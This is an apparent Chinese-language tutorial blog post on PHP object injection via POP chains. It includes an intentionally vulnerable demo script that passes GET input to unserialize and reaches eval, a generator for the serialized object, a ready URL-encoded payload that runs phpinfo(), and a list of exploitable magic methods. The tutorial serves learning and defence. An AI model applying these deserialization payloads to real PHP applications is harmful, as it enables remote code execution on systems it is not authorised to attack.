• PHP POP 链


    前言: phar反序列化 需要了解这个!

    第一个知识点:通过反序列化可以控制类属性,不管是private还是public,但是需要注意的是 只能控制类属性

    如何利用起来第一个知识点?

    举个例子:

    如下的代码,正常的话,lemon 类只能调用 normal中的action方法,但是如果我们能够进行反序列化的操作,利用起第一个知识点去控制相关eval类中的data属性,然后lemon调用eval类中的action,从而进行恶意操作!

    <?php
    class lemon {
        protected $ClassObj;
    
        function __construct() {
            $this->ClassObj = new normal();
        }
    
        function __destruct() {
            $this->ClassObj->action();
        }
    }
    
    class normal {
        function action() {
            echo "hello";
        }
    }
    
    class evil {
        private $data;
        function action() {
            eval($this->data); //触发点
        }
    }
    
    var_dump(unserialize($_GET['d'])); // 入口点
    

    将序列化好的数据O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D放到上方参数d接收的位置,从而进行 反序列化POP链利用!

    <?php
    class lemon {
        protected $ClassObj;
    
        function __construct() {
            $this->ClassObj = new evil();
        }
    
        function __destruct() {
            $this->ClassObj->action();
        }
    }
    
    class evil {
        private $data="phpinfo();";
        function action() {
            eval($this->data);
        }
    }
    
    var_dump(urlencode(serialize(new lemon()))); //这里正常来说可以不需要url编码,但是当前被序列化的对象中的属性有个是protected,展现的时候就是空字节,所以需要编码%00进行http传输
    // O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
    

    常见的魔术方法的利用:

    当对象被创建的时候调用:
    __construct
    
    当对象被销毁的时候调用:
    __destruct
    
    当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):
    __toString
    
    序列化对象之前就调用此方法(其返回需要是一个数组):
    __sleep
    
    反序列化恢复对象之前就调用此方法:
    __wakeup
    
    当调用对象中不存在的方法会自动调用此方法
    __call
    

    参考文章:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

  • 相关阅读:
    vue笔记四
    vue笔记三(组件)
    vue笔记二
    Linux04——手动修改IP和关闭防火墙服务
    Linux03——磁盘分区和挂载
    Linux02——解压和压缩
    Linux01——常用命令
    Springmvc-crud-07(springmvc标签错误)
    Springmvc-crud-06(路径忘记加上“/”错误)
    Springmvc-crud-05(路径错误)
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12531997.html
Copyright © 2020-2023  润新知